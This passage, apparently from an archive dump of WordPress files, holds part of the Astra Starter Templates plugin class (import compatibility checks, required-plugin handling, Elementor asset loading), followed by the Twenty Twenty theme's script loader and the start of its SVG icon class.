apply_filters( 'astra_sites_should_display_subscription_form', null ); if ( null !== $subscription ) { return $subscription; } // Is WhiteLabel enabled? if ( Astra_Sites_White_Label::get_instance()->is_white_labeled() ) { return false; } // Is Premium Starter Templates pluign? if ( defined( 'ASTRA_PRO_SITES_NAME' ) ) { return false; } // User already subscribed? $subscribed = get_user_meta( get_current_user_ID(), 'astra-sites-subscribed', true ); if ( $subscribed ) { return false; } return true; } /** * Import Compatibility Errors * * @since 2.0.0 * @return mixed */ public function get_compatibilities_data() { return array( 'xmlreader' => array( 'title' => esc_html__( 'XMLReader Support Missing', 'astra-sites' ), /* translators: %s doc link. */ 'tooltip' => '<p>' . esc_html__( 'You\'re close to importing the template. To complete the process, enable XMLReader support on your website..', 'astra-sites' ) . '</p><p>' . sprintf( __( 'Read an article <a href="%s" target="_blank">here</a> to resolve the issue.', 'astra-sites' ), 'https://wpastra.com/docs/xmlreader-missing/' ) . '</p>', ), 'curl' => array( 'title' => esc_html__( 'cURL Support Missing', 'astra-sites' ), /* translators: %s doc link. */ 'tooltip' => '<p>' . esc_html__( 'To run a smooth import, kindly enable cURL support on your website.', 'astra-sites' ) . '</p><p>' . sprintf( __( 'Read an article <a href="%s" target="_blank">here</a> to resolve the issue.', 'astra-sites' ), 'https://wpastra.com/docs/curl-support-missing/' ) . '</p>', ), 'wp-debug' => array( 'title' => esc_html__( 'Disable Debug Mode', 'astra-sites' ), /* translators: %s doc link. */ 'tooltip' => '<p>' . esc_html__( 'WordPress debug mode is currently enabled on your website. With this, any errors from third-party plugins might affect the import process.', 'astra-sites' ) . '</p><p>' . esc_html__( 'Kindly disable it to continue importing the Starter Template. To do so, you can add the following code into the wp-config.php file.', 'astra-sites' ) . '</p><p><code>define(\'WP_DEBUG\', false);</code></p><p>' . sprintf( __( 'Read an article <a href="%s" target="_blank">here</a> to resolve the issue.', 'astra-sites' ), 'https://wpastra.com/docs/disable-debug-mode/' ) . '</p>', ), 'update-available' => array( 'title' => esc_html__( 'Update Plugin', 'astra-sites' ), /* translators: %s update page link. */ 'tooltip' => '<p>' . esc_html__( 'Updates are available for plugins used in this starter template.', 'astra-sites' ) . '</p>##LIST##<p>' . sprintf( __( 'Kindly <a href="%s" target="_blank">update</a> them for a successful import. Skipping this step might break the template design/feature.', 'astra-sites' ), esc_url( network_admin_url( 'update-core.php' ) ) ) . '</p>', ), 'third-party-required' => array( 'title' => esc_html__( 'Required Plugins Missing', 'astra-sites' ), 'tooltip' => '<p>' . esc_html__( 'This starter template requires premium plugins. As these are third party premium plugins, you\'ll need to purchase, install and activate them first.', 'astra-sites' ) . '</p>', ), 'dynamic-page' => array( 'title' => esc_html__( 'Dynamic Page', 'astra-sites' ), 'tooltip' => '<p>' . esc_html__( 'The page template you are about to import contains a dynamic widget/module. Please note this dynamic data will not be available with the imported page.', 'astra-sites' ) . '</p><p>' . esc_html__( 'You will need to add it manually on the page.', 'astra-sites' ) . '</p><p>' . esc_html__( 'This dynamic content will be available when you import the entire site.', 'astra-sites' ) . '</p>', ), ); } /** * Get all compatibilities * * @since 2.0.0 * * @return array */ public function get_compatibilities() { $data = $this->get_compatibilities_data(); $compatibilities = array( 'errors' => array(), 'warnings' => array(), ); if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) { $compatibilities['warnings']['wp-debug'] = $data['wp-debug']; } if ( ! class_exists( 'XMLReader' ) ) { $compatibilities['errors']['xmlreader'] = $data['xmlreader']; } if ( ! function_exists( 'curl_version' ) ) { $compatibilities['errors']['curl'] = $data['curl']; } return $compatibilities; } /** * Register module required js on elementor's action. * * @since 2.0.0 */ public function register_widget_scripts() { $page_builders = self::get_instance()->get_page_builders(); $has_elementor = false; // Use this filter to remove the Starter Templates button from Elementor Editor. $elementor_add_ast_site_button = apply_filters( 'starter_templates_hide_elementor_button', false ); foreach ( $page_builders as $page_builder ) { if ( 'elementor' === $page_builder['slug'] ) { $has_elementor = true; } } if ( ! $has_elementor ) { return; } if ( $elementor_add_ast_site_button ) { return; } wp_enqueue_script( 'astra-sites-helper', ASTRA_SITES_URI . 'inc/assets/js/helper.js', array( 'jquery' ), ASTRA_SITES_VER, true ); wp_enqueue_script( 'masonry' ); wp_enqueue_script( 'imagesloaded' ); // Image Search assets. $this->image_search_assets(); wp_enqueue_script( 'astra-sites-elementor-admin-page', ASTRA_SITES_URI . 'inc/assets/js/elementor-admin-page.js', array( 'jquery', 'wp-util', 'updates', 'masonry', 'imagesloaded' ), ASTRA_SITES_VER, true ); wp_add_inline_script( 'astra-sites-elementor-admin-page', sprintf( 'var pagenow = "%s";', ASTRA_SITES_NAME ), 'after' ); wp_enqueue_style( 'astra-sites-admin', ASTRA_SITES_URI . 'inc/assets/css/admin.css', ASTRA_SITES_VER, true ); wp_style_add_data( 'astra-sites-admin', 'rtl', 'replace' ); $license_status = false; if ( is_callable( 'BSF_License_Manager::bsf_is_active_license' ) ) { $license_status = BSF_License_Manager::bsf_is_active_license( 'astra-pro-sites' ); } /* translators: %s are link. */ $license_msg = sprintf( __( 'This is a premium template available with Essential Bundle and Growth Bundle. you can purchase it from <a href="%s" target="_blank">here</a>.', 'astra-sites' ), 'https://wpastra.com/starter-templates-plans/' ); if ( defined( 'ASTRA_PRO_SITES_NAME' ) ) { /* translators: %s are link. */ $license_msg = sprintf( __( 'This is a premium template available with Essential Bundle and Growth Bundle. <a href="%s" target="_blank">Validate Your License</a> Key to import this template.', 'astra-sites' ), esc_url( admin_url( 'plugins.php?bsf-inline-license-form=astra-pro-sites' ) ) ); } $last_viewed_block_data = array(); // Retrieve the value of the 'blockID' parameter using filter_input(). $id = filter_input( INPUT_GET, 'blockID', FILTER_SANITIZE_STRING ); if ( ! empty( $id ) ) { $last_viewed_block_data = get_option( 'astra_sites_import_elementor_data_' . $id ) !== false ? get_option( 'astra_sites_import_elementor_data_' . $id ) : array(); } $data = apply_filters( 'astra_sites_render_localize_vars', array( 'plugin_name' => Astra_Sites_White_Label::get_instance()->get_white_label_name(), 'sites' => astra_sites_get_api_params(), 'version' => ASTRA_SITES_VER, 'settings' => array(), 'page-builders' => array(), 'categories' => array(), 'default_page_builder' => 'elementor', 'astra_blocks' => $this->get_all_blocks(), 'license_status' => $license_status, 'ajaxurl' => esc_url( admin_url( 'admin-ajax.php' ) ), 'default_page_builder_sites' => Astra_Sites_Page::get_instance()->get_sites_by_page_builder( 'elementor' ), 'ApiURL' => $this->api_url, '_ajax_nonce' => wp_create_nonce( 'astra-sites' ), 'isPro' => defined( 'ASTRA_PRO_SITES_NAME' ) ? true : false, 'license_msg' => $license_msg, 'isWhiteLabeled' => Astra_Sites_White_Label::get_instance()->is_white_labeled(), 'getProText' => __( 'Get Access!', 'astra-sites' ), 'getProURL' => esc_url( 'https://wpastra.com/starter-templates-plans/?utm_source=demo-import-panel&utm_campaign=astra-sites&utm_medium=wp-dashboard' ), 'astra_block_categories' => $this->get_api_option( 'astra-blocks-categories' ), 'siteURL' => site_url(), 'template' => esc_html__( 'Template', 'astra-sites' ), 'block' => esc_html__( 'Block', 'astra-sites' ), 'dismiss_text' => esc_html__( 'Dismiss', 'astra-sites' ), 'install_plugin_text' => esc_html__( 'Install Required Plugins', 'astra-sites' ), 'syncCompleteMessage' => self::get_instance()->get_sync_complete_message(), /* translators: %s are link. */ 'page_settings' => array( 'message' => __( 'You can locate <strong>Starter Templates Settings</strong> under the <strong>Page Settings</strong> of the Style Tab.', 'astra-sites' ), 'url' => '#', 'url_text' => __( 'Read More →', 'astra-sites' ), ), 'last_viewed_block_data' => $last_viewed_block_data, ) ); wp_localize_script( 'astra-sites-elementor-admin-page', 'astraElementorSites', $data ); } /** * Register module required js on elementor's action. * * @since 2.0.0 */ public function popup_styles() { wp_enqueue_style( 'astra-sites-elementor-admin-page', ASTRA_SITES_URI . 'inc/assets/css/elementor-admin.css', ASTRA_SITES_VER, true ); wp_enqueue_style( 'astra-sites-elementor-admin-page-dark', ASTRA_SITES_URI . 'inc/assets/css/elementor-admin-dark.css', ASTRA_SITES_VER, true ); wp_style_add_data( 'astra-sites-elementor-admin-page', 'rtl', 'replace' ); } /** * Get all sites * * @since 2.0.0 * @return array All sites. */ public function get_all_sites() { $sites_and_pages = array(); $total_requests = (int) get_site_option( 'astra-sites-requests', 0 ); for ( $page = 1; $page <= $total_requests; $page++ ) { $current_page_data = get_site_option( 'astra-sites-and-pages-page-' . $page, array() ); if ( ! empty( $current_page_data ) ) { foreach ( $current_page_data as $page_id => $page_data ) { $sites_and_pages[ $page_id ] = $page_data; } } } return $sites_and_pages; } /** * Get all sites * * @since 2.2.4 * @param array $option Site options name. * @return array Site Option value. */ public function get_api_option( $option ) { return get_site_option( $option, array() ); } /** * Get all blocks * * @since 2.0.0 * @return array All Elementor Blocks. */ public function get_all_blocks() { $blocks = array(); $total_requests = (int) get_site_option( 'astra-blocks-requests', 0 ); for ( $page = 1; $page <= $total_requests; $page++ ) { $current_page_data = get_site_option( 'astra-blocks-' . $page, array() ); if ( ! empty( $current_page_data ) ) { foreach ( $current_page_data as $page_id => $page_data ) { $blocks[ $page_id ] = $page_data; } } } return $blocks; } /** * Load all the required files in the importer. * * @since 1.0.0 */ private function includes() { require_once ASTRA_SITES_DIR . 'inc/classes/functions.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-error-handler.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-white-label.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-page.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-elementor-pages.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-elementor-images.php'; require_once ASTRA_SITES_DIR . 'inc/classes/compatibility/class-astra-sites-compatibility.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-importer.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-image-processing.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-wp-cli.php'; require_once ASTRA_SITES_DIR . 'inc/lib/class-astra-sites-ast-block-templates.php'; require_once ASTRA_SITES_DIR . 'inc/lib/onboarding/class-onboarding.php'; // Batch Import. require_once ASTRA_SITES_DIR . 'inc/classes/batch-import/class-astra-sites-batch-import.php'; } /** * Required Plugin Activate * * @since 2.0.0 Added parameters $init, $options & $enabled_extensions to add the WP CLI support. * @since 1.0.0 * @param string $init Plugin init file. * @param array $options Site options. * @param array $enabled_extensions Enabled extensions. * @return void */ public function required_plugin_activate( $init = '', $options = array(), $enabled_extensions = array() ) { if ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'install_plugins' ) || ! isset( $_POST['init'] ) || ! sanitize_text_field( $_POST['init'] ) ) { wp_send_json_error( array( 'success' => false, 'message' => __( 'Error: You don\'t have the required permissions to install plugins.', 'astra-sites' ), ) ); } } Astra_Sites_Error_Handler::get_instance()->start_error_handler(); $plugin_init = ( isset( $_POST['init'] ) ) ? esc_attr( sanitize_text_field( $_POST['init'] ) ) : $init; $activate = activate_plugin( $plugin_init, '', false, false ); Astra_Sites_Error_Handler::get_instance()->stop_error_handler(); if ( is_wp_error( $activate ) ) { if ( defined( 'WP_CLI' ) ) { WP_CLI::error( 'Plugin Activation Error: ' . $activate->get_error_message() ); } elseif ( wp_doing_ajax() ) { wp_send_json_error( array( 'success' => false, 'message' => $activate->get_error_message(), ) ); } } $options = astra_get_site_data( 'astra-site-options-data' ); $enabled_extensions = astra_get_site_data( 'astra-enabled-extensions' ); $this->after_plugin_activate( $plugin_init, $options, $enabled_extensions ); if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Plugin Activated!' ); } elseif ( wp_doing_ajax() ) { wp_send_json_success( array( 'success' => true, 'message' => __( 'Plugin Activated', 'astra-sites' ), ) ); } } /** * Retrieves the required plugins data based on the response and required plugin list. * * @param array $response The response containing the plugin data. * @param array $required_plugins The list of required plugins. * @since 3.2.5 * @return array The array of required plugins data. */ public function get_required_plugins_data( $response, $required_plugins ) { $learndash_course_grid = 'https://www.learndash.com/add-on/course-grid/'; $learndash_woocommerce = 'https://www.learndash.com/add-on/woocommerce/'; if ( is_plugin_active( 'sfwd-lms/sfwd_lms.php' ) ) { $learndash_addons_url = admin_url( 'admin.php?page=learndash_lms_addons' ); $learndash_course_grid = $learndash_addons_url; $learndash_woocommerce = $learndash_addons_url; } $third_party_required_plugins = array(); $third_party_plugins = array( 'sfwd-lms' => array( 'init' => 'sfwd-lms/sfwd_lms.php', 'name' => 'LearnDash LMS', 'link' => 'https://www.learndash.com/', ), 'learndash-course-grid' => array( 'init' => 'learndash-course-grid/learndash_course_grid.php', 'name' => 'LearnDash Course Grid', 'link' => $learndash_course_grid, ), 'learndash-woocommerce' => array( 'init' => 'learndash-woocommerce/learndash_woocommerce.php', 'name' => 'LearnDash WooCommerce Integration', 'link' => $learndash_woocommerce, ), ); $plugin_updates = get_plugin_updates(); $update_avilable_plugins = array(); $incompatible_plugins = array(); if ( ! empty( $required_plugins ) ) { $php_version = Astra_Sites_Onboarding_Setup::get_instance()->get_php_version(); foreach ( $required_plugins as $key => $plugin ) { $plugin = (array) $plugin; if ( 'woocommerce' === $plugin['slug'] && version_compare( $php_version, '7.0', '<' ) ) { $plugin['min_php_version'] = '7.0'; $incompatible_plugins[] = $plugin; } if ( 'presto-player' === $plugin['slug'] && version_compare( $php_version, '7.3', '<' ) ) { $plugin['min_php_version'] = '7.3'; $incompatible_plugins[] = $plugin; } /** * Has Pro Version Support? * And * Is Pro Version Installed? */ $plugin_pro = $this->pro_plugin_exist( $plugin['init'] ); if ( $plugin_pro ) { if ( array_key_exists( $plugin_pro['init'], $plugin_updates ) ) { $update_avilable_plugins[] = $plugin_pro; } // Pro - Active. if ( is_plugin_active( $plugin_pro['init'] ) ) { $response['active'][] = $plugin_pro; $this->after_plugin_activate( $plugin['init'], $options, $enabled_extensions ); // Pro - Inactive. } else { $response['inactive'][] = $plugin_pro; } } else { if ( array_key_exists( $plugin['init'], $plugin_updates ) ) { $update_avilable_plugins[] = $plugin; } // Lite - Installed but Inactive. if ( file_exists( WP_PLUGIN_DIR . '/' . $plugin['init'] ) && is_plugin_inactive( $plugin['init'] ) ) { $link = wp_nonce_url( add_query_arg( array( 'action' => 'activate', 'plugin' => $plugin['init'], ), admin_url( 'plugins.php' ) ), 'activate-plugin_' . $plugin['init'] ); $link = str_replace( '&', '&', $link ); $plugin['action'] = $link; $response['inactive'][] = $plugin; // Lite - Not Installed. } elseif ( ! file_exists( WP_PLUGIN_DIR . '/' . $plugin['init'] ) ) { // Added premium plugins which need to install first. if ( array_key_exists( $plugin['slug'], $third_party_plugins ) ) { $third_party_required_plugins[] = $third_party_plugins[ $plugin['slug'] ]; } else { $link = wp_nonce_url( add_query_arg( array( 'action' => 'install-plugin', 'plugin' => $plugin['slug'], ), admin_url( 'update.php' ) ), 'install-plugin_' . $plugin['slug'] ); $link = str_replace( '&', '&', $link ); $plugin['action'] = $link; $response['notinstalled'][] = $plugin; } // Lite - Active. } else { $response['active'][] = $plugin; $this->after_plugin_activate( $plugin['init'], $options, $enabled_extensions ); } } } } // Checking the `install_plugins` and `activate_plugins` capability for the current user. // To perform plugin installation process. if ( ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) && ( ( ! current_user_can( 'install_plugins' ) && ! empty( $response['notinstalled'] ) ) || ( ! current_user_can( 'activate_plugins' ) && ! empty( $response['inactive'] ) ) ) ) { $message = __( 'Insufficient Permission. Please contact your Super Admin to allow the install required plugin permissions.', 'astra-sites' ); $required_plugins_list = array_merge( $response['notinstalled'], $response['inactive'] ); $markup = $message; $markup .= '<ul>'; foreach ( $required_plugins_list as $key => $required_plugin ) { $markup .= '<li>' . esc_html( $required_plugin['name'] ) . '</li>'; } $markup .= '</ul>'; wp_send_json_error( $markup ); } $data = array( 'required_plugins' => $response, 'third_party_required_plugins' => $third_party_required_plugins, 'update_avilable_plugins' => $update_avilable_plugins, 'incompatible_plugins' => $incompatible_plugins, ); return $data; } /** * Required Plugins * * @since 2.0.0 * * @param array $required_plugins Required Plugins. * @param array $options Site Options. * @param array $enabled_extensions Enabled Extensions. * @return mixed */ public function required_plugin( $required_plugins = array(), $options = array(), $enabled_extensions = array() ) { // Verify Nonce. if ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'edit_posts' ) ) { wp_send_json_error(); } } $response = array( 'active' => array(), 'inactive' => array(), 'notinstalled' => array(), ); $id = isset( $_POST['id'] ) ? absint( $_POST['id'] ) : ''; $screen = isset( $_POST['screen'] ) ? sanitize_text_field( $_POST['screen'] ) : ''; if ( 'elementor' === $screen ) { $options = array(); $enabled_extensions = array(); $imported_demo_data = get_option( 'astra_sites_import_elementor_data_' . $id, array() ); if ( 'astra-blocks' === $imported_demo_data['type'] ) { // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize $plugins = unserialize( $imported_demo_data['post-meta']['astra-blocks-required-plugins'] ); // The use of `unserialize()` is necessary in this case to deserialize trusted serialized data. $required_plugins = false !== $plugins ? $plugins : array(); } else { $required_plugins = isset( $imported_demo_data['site-pages-required-plugins'] ) ? $imported_demo_data['site-pages-required-plugins'] : array(); } } else { $options = astra_get_site_data( 'astra-site-options-data' ); $enabled_extensions = astra_get_site_data( 'astra-enabled-extensions' ); $required_plugins = astra_get_site_data( 'required-plugins' ); } $data = $this->get_required_plugins_data( $response, $required_plugins ); if ( wp_doing_ajax() ) { wp_send_json_success( $data ); } else { return $data; } } /** * After Plugin Activate * * @since 2.0.0 * * @param string $plugin_init Plugin Init File. * @param array $options Site Options. * @param array $enabled_extensions Enabled Extensions. * @return void */ public function after_plugin_activate( $plugin_init = '', $options = array(), $enabled_extensions = array() ) { $data = array( 'astra_site_options' => $options, 'enabled_extensions' => $enabled_extensions, ); do_action( 'astra_sites_after_plugin_activation', $plugin_init, $data ); } /** * Has Pro Version Support? * And * Is Pro Version Installed? * * Check Pro plugin version exist of requested plugin lite version. * * Eg. If plugin 'BB Lite Version' required to import demo. Then we check the 'BB Agency Version' is exist? * If yes then we only 'Activate' Agency Version. [We couldn't install agency version.] * Else we 'Activate' or 'Install' Lite Version. * * @since 1.0.1 * * @param string $lite_version Lite version init file. * @return mixed Return false if not installed or not supported by us * else return 'Pro' version details. */ public function pro_plugin_exist( $lite_version = '' ) { // Lite init => Pro init. $plugins = apply_filters( 'astra_sites_pro_plugin_exist', array( 'beaver-builder-lite-version/fl-builder.php' => array( 'slug' => 'bb-plugin', 'init' => 'bb-plugin/fl-builder.php', 'name' => 'Beaver Builder Plugin', ), 'ultimate-addons-for-beaver-builder-lite/bb-ultimate-addon.php' => array( 'slug' => 'bb-ultimate-addon', 'init' => 'bb-ultimate-addon/bb-ultimate-addon.php', 'name' => 'Ultimate Addon for Beaver Builder', ), 'wpforms-lite/wpforms.php' => array( 'slug' => 'wpforms', 'init' => 'wpforms/wpforms.php', 'name' => 'WPForms', ), ), $lite_version ); if ( isset( $plugins[ $lite_version ] ) ) { // Pro plugin directory exist? if ( file_exists( WP_PLUGIN_DIR . '/' . $plugins[ $lite_version ]['init'] ) ) { return $plugins[ $lite_version ]; } } return false; } /** * Get Default Page Builders * * @since 2.0.0 * @return array */ public function get_default_page_builders() { return array( array( 'id' => 42, 'slug' => 'gutenberg', 'name' => 'Gutenberg', ), array( 'id' => 33, 'slug' => 'elementor', 'name' => 'Elementor', ), array( 'id' => 34, 'slug' => 'beaver-builder', 'name' => 'Beaver Builder', ), array( 'id' => 41, 'slug' => 'brizy', 'name' => 'Brizy', ), ); } /** * Get Page Builders * * @since 2.0.0 * @return array */ public function get_page_builders() { return $this->get_default_page_builders(); } /** * Get Page Builder Filed * * @since 2.0.0 * @param string $page_builder Page Bulider. * @param string $field Field name. * @return mixed */ public function get_page_builder_field( $page_builder = '', $field = '' ) { if ( empty( $page_builder ) ) { return ''; } $page_builders = self::get_instance()->get_page_builders(); if ( empty( $page_builders ) ) { return ''; } foreach ( $page_builders as $key => $current_page_builder ) { if ( $page_builder === $current_page_builder['slug'] ) { if ( isset( $current_page_builder[ $field ] ) ) { return $current_page_builder[ $field ]; } } } return ''; } /** * Get License Key * * @since 2.0.0 * @return array */ public function get_license_key() { if ( class_exists( 'BSF_License_Manager' ) ) { if ( BSF_License_Manager::bsf_is_active_license( 'astra-pro-sites' ) ) { return BSF_License_Manager::instance()->bsf_get_product_info( 'astra-pro-sites', 'purchase_key' ); } } return ''; } /** * Get Sync Complete Message * * @since 2.0.0 * @param boolean $echo Echo the message. * @return mixed */ public function get_sync_complete_message( $echo = false ) { $message = __( 'Template library refreshed!', 'astra-sites' ); if ( $echo ) { echo esc_html( $message ); } else { return esc_html( $message ); } } /** * Get an instance of WP_Filesystem_Direct. * * @since 2.0.0 * @return object A WP_Filesystem_Direct instance. */ public static function get_filesystem() { global $wp_filesystem; require_once ABSPATH . '/wp-admin/includes/file.php'; WP_Filesystem(); return $wp_filesystem; } /** * Disable WP-Forms redirect. * * @return void. */ public function disable_wp_forms_redirect() { $wp_forms_redirect = get_transient( 'wpforms_activation_redirect' ); if ( ! empty( $wp_forms_redirect ) && '' !== $wp_forms_redirect ) { delete_transient( 'wpforms_activation_redirect' ); } } /** * Get the status of file system permission of "/wp-content/uploads" directory. * * @return void */ public function filesystem_permission() { if ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You do not have permission to perform this action.', 'astra-sites' ) ); } $wp_upload_path = wp_upload_dir(); $permissions = array( 'is_readable' => false, 'is_writable' => false, ); foreach ( $permissions as $file_permission => $value ) { $permissions[ $file_permission ] = $file_permission( $wp_upload_path['basedir'] ); } wp_send_json_success( array( 'permissions' => $permissions, 'directory' => $wp_upload_path['basedir'], ) ); } wp_send_json_error( __( 'You do not have permission to perform this action.', 'astra-sites' ) ); } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites::get_instance(); endif; class-twentytwenty-script-loader.php 0000666 00000002441 15165342724 0013751 0 ustar 00 <?php /** * Javascript Loader Class * * Allow `async` and `defer` while enqueuing Javascript. * * Based on a solution in WP Rig. * * @package WordPress * @subpackage Twenty_Twenty * @since Twenty Twenty 1.0 */ if ( ! class_exists( 'TwentyTwenty_Script_Loader' ) ) { /** * A class that provides a way to add `async` or `defer` attributes to scripts. * * @since Twenty Twenty 1.0 */ class TwentyTwenty_Script_Loader { /** * Adds async/defer attributes to enqueued / registered scripts. * * If #12009 lands in WordPress, this function can no-op since it would be handled in core. * * @since Twenty Twenty 1.0 * * @link https://core.trac.wordpress.org/ticket/12009 * * @param string $tag The script tag. * @param string $handle The script handle. * @return string Script HTML string. */ public function filter_script_loader_tag( $tag, $handle ) { foreach ( array( 'async', 'defer' ) as $attr ) { if ( ! wp_scripts()->get_data( $handle, $attr ) ) { continue; } // Prevent adding attribute when already added in #12009. if ( ! preg_match( ":\s$attr(=|>|\s):", $tag ) ) { $tag = preg_replace( ':(?=></script>):', " $attr", $tag, 1 ); } // Only allow async or defer, not both. break; } return $tag; } } } class-twentytwenty-svg-icons.php 0000666 00000205636 15165342724 0013124 0 ustar 00 <?php /** * Custom icons for this theme. * * @package WordPress * @subpackage Twenty_Twenty * @since Twenty Twenty 1.0 */ if ( ! class_exists( 'TwentyTwenty_SVG_Icons' ) ) { /** * SVG ICONS CLASS * Retrieve the SVG code for the specified icon. Based on a solution in Twenty Nineteen. * * @since Twenty Twenty 1.0 */ class TwentyTwenty_SVG_Icons { /** * GET SVG CODE * Get the SVG code for the specified icon * * @since Twenty Twenty 1.0 * * @param string $icon Icon name. * @param string $group Icon group. * @param string $color Color. */ public static function get_svg( $icon, $group = 'ui', $color = '#1A1A1B' ) { if ( 'ui' === $group ) { $arr = self::$ui_icons; } elseif ( 'social' === $group ) { $arr = self::$social_icons; } else { $arr = array(); } /** * Filters Twenty Twenty's array of icons. * * The dynamic portion of the hook name, `$group`, refers to * the name of the group of icons, either "ui" or "social". * * @since Twenty Twenty 1.5 * * @param array $arr Array of icons. */ $arr = apply_filters( "twentytwenty_svg_icons_{$group}", $arr ); /** * Filters an SVG icon's color. * * @since Twenty Twenty 1.5 * * @param string $color The icon color. * @param string $icon The icon name. * @param string $group The icon group. */ $color = apply_filters( 'twentytwenty_svg_icon_color', $color, $icon, $group ); if ( array_key_exists( $icon, $arr ) ) { $repl = '<svg class="svg-icon" aria-hidden="true" role="img" focusable="false" '; $svg = preg_replace( '/^<svg /', $repl, trim( $arr[ $icon ] ) ); // Add extra attributes to SVG code. $svg = str_replace( '#1A1A1B', $color, $svg ); // Replace the color. $svg = str_replace( '#', '%23', $svg ); // Urlencode hashes. $svg = preg_replace( "/([\n\t]+)/", ' ', $svg ); // Remove newlines & tabs. $svg = preg_replace( '/>\s*</', '><', $svg ); // Remove whitespace between SVG tags. return $svg; } return null; } /** * GET SOCIAL LINK SVG * Detects the social network from a URL and returns the SVG code for its icon. * * @since Twenty Twenty 1.0 * * @param string $uri The URL to retrieve SVG for. */ public static function get_social_link_svg( $uri ) { static $regex_map; // Only compute regex map once, for performance. if ( ! isset( $regex_map ) ) { $regex_map = array(); /** * Filters Twenty Twenty's array of domain mappings for social icons. * * By default, each Icon ID is matched against a .com TLD. To override this behavior, * specify all the domains it covers (including the .com TLD too, if applicable). * * @since Twenty Twenty 1.5 * * @param array $social_icons_map Array of default social icons. */ $map = apply_filters( 'twentytwenty_social_icons_map', self::$social_icons_map ); /** * Filters Twenty Twenty's array of social icons. * * @since Twenty Twenty 1.5 * * @param array $social_icons Array of default social icons. */ $social_icons = apply_filters( 'twentytwenty_svg_icons_social', self::$social_icons ); foreach ( array_keys( $social_icons ) as $icon ) { $domains = array_key_exists( $icon, $map ) ? $map[ $icon ] : array( sprintf( '%s.com', $icon ) ); $domains = array_map( 'trim', $domains ); // Remove leading/trailing spaces, to prevent regex from failing to match. $domains = array_map( 'preg_quote', $domains ); $regex_map[ $icon ] = sprintf( '/(%s)/i', implode( '|', $domains ) ); } } foreach ( $regex_map as $icon => $regex ) { if ( preg_match( $regex, $uri ) ) { return twentytwenty_get_theme_svg( $icon, 'social' ); } } return null; } /** * ICON STORAGE * Store the code for all SVGs in an array. * * @since Twenty Twenty 1.0 * @var array */ public static $ui_icons = array( 'arrow-down' => '<svg xmlns="http://www.w3.org/2000/svg" width="22" height="24" viewBox="0 0 22 24"> <polygon fill="#FFF" points="721.105 856 721.105 874.315 728.083 867.313 730.204 869.41 719.59 880 709 869.41 711.074 867.313 718.076 874.315 718.076 856" transform="translate(-709 -856)"/> </svg>', 'arrow-down-circled' => '<svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32"> <path fill="#FFF" fill-rule="evenodd" d="M16,32 C7.163444,32 0,24.836556 0,16 C0,7.163444 7.163444,0 16,0 C24.836556,0 32,7.163444 32,16 C32,24.836556 24.836556,32 16,32 Z M16.7934656,8 L15.4886113,8 L15.4886113,21.5300971 L10.082786,16.1242718 L9.18181515,17.0407767 L16.1410384,24 L23.1157957,17.0407767 L22.1915239,16.1242718 L16.7934656,21.5300971 L16.7934656,8 Z"/> </svg>', 'bookmark' => '<svg xmlns="http://www.w3.org/2000/svg" width="15" height="18" viewBox="0 0 15 18"> <path d="M12.598889,2.699762 C12.598889,2.20275 12.195981,1.799841 11.698969,1.799841 L2.699762,1.799841 C2.20275,1.799841 1.799841,2.20275 1.799841,2.699762 L1.799841,15.349777 L6.676297,11.866594 C6.989197,11.643094 7.409533,11.643094 7.722434,11.866594 L12.598889,15.349777 L12.598889,2.699762 Z M1.422989,17.830788 C0.82736,18.256238 0,17.830464 0,17.098493 L0,2.699762 C0,1.208725 1.208725,0 2.699762,0 L11.698969,0 C13.190006,0 14.398731,1.208725 14.398731,2.699762 L14.398731,17.098493 C14.398731,17.830464 13.571371,18.256238 12.975742,17.830788 L7.199365,13.704805 L1.422989,17.830788 Z"/> </svg>', 'calendar' => '<svg xmlns="http://www.w3.org/2000/svg" width="18" height="19" viewBox="0 0 18 19"> <path fill="#1A1A1B" d="M4.60069444,4.09375 L3.25,4.09375 C2.47334957,4.09375 1.84375,4.72334957 1.84375,5.5 L1.84375,7.26736111 L16.15625,7.26736111 L16.15625,5.5 C16.15625,4.72334957 15.5266504,4.09375 14.75,4.09375 L13.3993056,4.09375 L13.3993056,4.55555556 C13.3993056,5.02154581 13.0215458,5.39930556 12.5555556,5.39930556 C12.0895653,5.39930556 11.7118056,5.02154581 11.7118056,4.55555556 L11.7118056,4.09375 L6.28819444,4.09375 L6.28819444,4.55555556 C6.28819444,5.02154581 5.9104347,5.39930556 5.44444444,5.39930556 C4.97845419,5.39930556 4.60069444,5.02154581 4.60069444,4.55555556 L4.60069444,4.09375 Z M6.28819444,2.40625 L11.7118056,2.40625 L11.7118056,1 C11.7118056,0.534009742 12.0895653,0.15625 12.5555556,0.15625 C13.0215458,0.15625 13.3993056,0.534009742 13.3993056,1 L13.3993056,2.40625 L14.75,2.40625 C16.4586309,2.40625 17.84375,3.79136906 17.84375,5.5 L17.84375,15.875 C17.84375,17.5836309 16.4586309,18.96875 14.75,18.96875 L3.25,18.96875 C1.54136906,18.96875 0.15625,17.5836309 0.15625,15.875 L0.15625,5.5 C0.15625,3.79136906 1.54136906,2.40625 3.25,2.40625 L4.60069444,2.40625 L4.60069444,1 C4.60069444,0.534009742 4.97845419,0.15625 5.44444444,0.15625 C5.9104347,0.15625 6.28819444,0.534009742 6.28819444,1 L6.28819444,2.40625 Z 